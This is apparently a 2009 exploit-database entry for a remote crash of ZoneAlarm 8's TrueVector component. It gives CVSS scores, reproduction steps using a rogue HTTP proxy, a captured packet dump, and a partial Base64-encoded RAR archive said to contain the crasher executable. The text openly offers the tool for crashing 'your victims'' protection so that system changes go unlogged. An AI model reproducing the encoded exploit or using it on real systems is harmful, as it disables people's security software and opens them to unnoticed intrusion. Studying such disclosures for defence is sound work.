Crashing ZoneAlarm 8.0.020.000 by Checkpoint (Component : TrueVector)

2009.08.24
Credit: quakerdoomer
Risk: Low
Local: No
Remote: Yes
CWE: CWE-noinfo


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: None
Integrity impact: None
Availability impact: Partial

Crashing ZoneAlarm 8.0.020.000 by Checkpoint (Component : TrueVector) ========================================== - Keep ZoneALarm 8 running with vsmon.exe running (which runs by default) - On System A : Run the rogue proxy (attached) za_crasher_proxy.exe and set a port number (eg: za_crasher_proxy.exe 5938) - On System B : Use Internet Explorer 6 and set proxy settings as IP of System A and port 5938 for HTTP connections By default IE 6 has homepage as http://www.microsoft.com/isapi/redir.dll?prd=ie&pver=6&ar=msnhome Leave it unchanged. - Keep za_crasher_proxy.exe running on System A. - Launch IE on System B. It will goto http://www.microsoft.com/isapi/redir.dll?prd=ie&pver=6&ar=msnhome - Stop it and type any other web URL in the address bar. IE tries to locate that URL via the set proxy IP and port. Sniffed Output : 00000000 17 24 0A 20 00 1A A9 D8 81 88 13 80 00 00 00 00 .$. .... ....... 00000010 00 01 00 00 00 0F 00 00 00 00 00 00 00 00 00 00 ........ ....... 00000020 00 00 00 00 00 ..... CONNECT 208.185.174.65:443 HTTP/1.0 Host: 208.185.174.65:443 Proxy-Connection: Keep-Alive Accept-Encoding: gzip Accept: */* Content-Type: text/plain User-Agent: ZoneAlarm/8.0.020.000 (oem-1025; en-US) ZSP/2.2 - ZoneAlarm 8's TrueVector Component crashes with a message box, minidump file in Temp and on closing the message box, it restarts after a few moments - ZoneAlarm leaves the system unprotected (HIDS module alone) till the time TrueVector component is back. - Demonstration Video links : http://www.fileden.com/files/2008/9/18/2104312/rogue_proxy_without_za8_r unning.rar http://www.fileden.com/files/2008/9/18/2104312/rogue_proxy_crashing_za8i ssuite.rar ZoneAlarm 8 Internet Security Suite Crasher (Rogue Proxy)crashes ZA8 on IE 6 WIndows XP SP3. Can be used to used as a rogue proxy (3128,8080,etc.) to crash your victims' ZA HIDS component for a few moments rendering your victim vulnerable to unnoticed, unlogged system changes. [ Not tested with other browsers. Might work on IE7,8 and others. Seems to be a Browser Independent bug ] za_crasher_proxy.b64 (Base64 Encoded File) UmFyIRoHAM+QcwAADQAAAAAAAAAEAXQgkDkAJhUAANtQAAACjYBgHzJoNjkdNRQA IAAAAHphX2NyYXNoZXJfcHJveHkuZXhlAPBqwGEQIhEVDI0PxYAf26tQagQLejRB NxB3ulA2DYk0hptptofamkuENpghfBg2wflq3dSWs1JbN32gkcOmnwKUbSafLpCp CPiThQJ1D7iq5N0SNMG+aGHRMnDpkJ1dxKZOY4252jRUo5tcQfU4KVl5uiW/BXnv hu+8tQPukndKld6hG+y8vL+eXl7vr9+K38sv55/1f9eXmXd5e57cLW6FAeH418dL HdUZD/Y2MCYJxWanB0XRTO/R4edO4Ux7X0sFhVY5XWjp8e8e29m9bWp7dtbW1uif YuT3r+2PddWp9ZWn2tu4cz+czma0ShFq6iGlUwlzv89V+SpO0OQ6xiVOcdmZbNsG NGc0ES7IoIM/96GGxnqI9CVimnDBRMQ8WCeCd8Q5JWEtE0OT1qXzI+IbVZU82WO/ b3U+i5uETJXnVESaLVGkKXYT7hsi2VcA9NdTpsuw5eFPvUxnnGz6BQmfvygw1n7F 8+N34HXHzXRiB0DJMcqy57KVPB37vdB/eV8D4dv0JyBseneV7Oh9yA/+a8Y0PSvD tR9gqYW0ptRej8PfH++bbHhstEzKUOFAp9EygozMJNv02CLu7wke1UysblcTGHqB zLwSejIwOhsfYZRif5QEfW1G6N8cRfl3uzidLgP4IkPNmLvSgIgZ8M0QHtKZRUxL 9Q0cQyH4GwEZ/3HJu+kjuYOjzJxyR9xPMUEeoYWTQFUI1xyc+xMJZy+W9CuK3b9D RXsdIdQc0anQdqY+9CLHl5gV1qOmZk2Cc1ax7K/FE6tLzOHH5EMwWBXRzRLkyOpZ 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References:

http://xforce.iss.net/xforce/xfdb/45480
http://www.securityfocus.com/bid/31431
http://www.securityfocus.com/archive/1/archive/1/496764/100/0/threaded


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